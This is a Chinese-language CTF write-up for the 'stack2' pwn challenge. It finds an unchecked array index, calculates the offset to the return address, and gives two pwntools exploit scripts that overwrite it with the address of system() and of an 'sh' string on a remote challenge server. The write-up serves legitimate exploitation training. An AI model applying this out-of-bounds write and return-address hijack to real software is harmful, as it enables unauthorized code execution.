stack2

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
xfgg@ubuntu:~/Downloads$ checksec stack2
[*] '/home/xfgg/Downloads/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可能要用到canary绕过
ida分析

1
限制了 输入的数量是99

1
2
3
4
5
这里就是bug了    因为我们没有检查v13数组的边界 这里我们可以随意输入  然后劫持程序eip  

然后观察 哪里有system_addr 就ok了 但是 这里输入的是数字 好像有点麻烦

因为v13 是char 类型的数组 然后我们试着输入一下

1
然后去栈会发现,这个操作可以用gdb一步步ni下去

1
2
3
4
5
6
7
8
9
这里其实应该能够注意得到  栈是小段模式  那么我们输入的时候 可以是 反着来  比如地址是 12345678  先输入78 45 34  12  

才能返回 正确的地址 然后 我们观察一下 哪里有我们system 的地址    

然后我们发现 本次(这个是会变化的  注意是我这次 运行的) 我们的返回地址FFCF77AC  而我们输入的地址是   FFCF7728  

那么偏移就是 0x84  然后之后我们找到 system_addr 就ok了  

然后就找到了  system_addr

1
2
3
 但是感觉这里/bin/bash 有点怪怪的啊~~~

先不管 我们试试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
#coding:utf-8

from pwn import*






system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write system_addr

write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)



io.sendline("5")
io.interactive()
1
由于题目的问题所以需要我们自己写入sh

攻击

1
数组下标超界问题

###exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
#coding:utf-8

from pwn import*

system_addr=0x080485AF
leave_offset=0x84
io = remote('111.198.29.45','47978')

def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")


io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")

# write system_addr 0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()
0%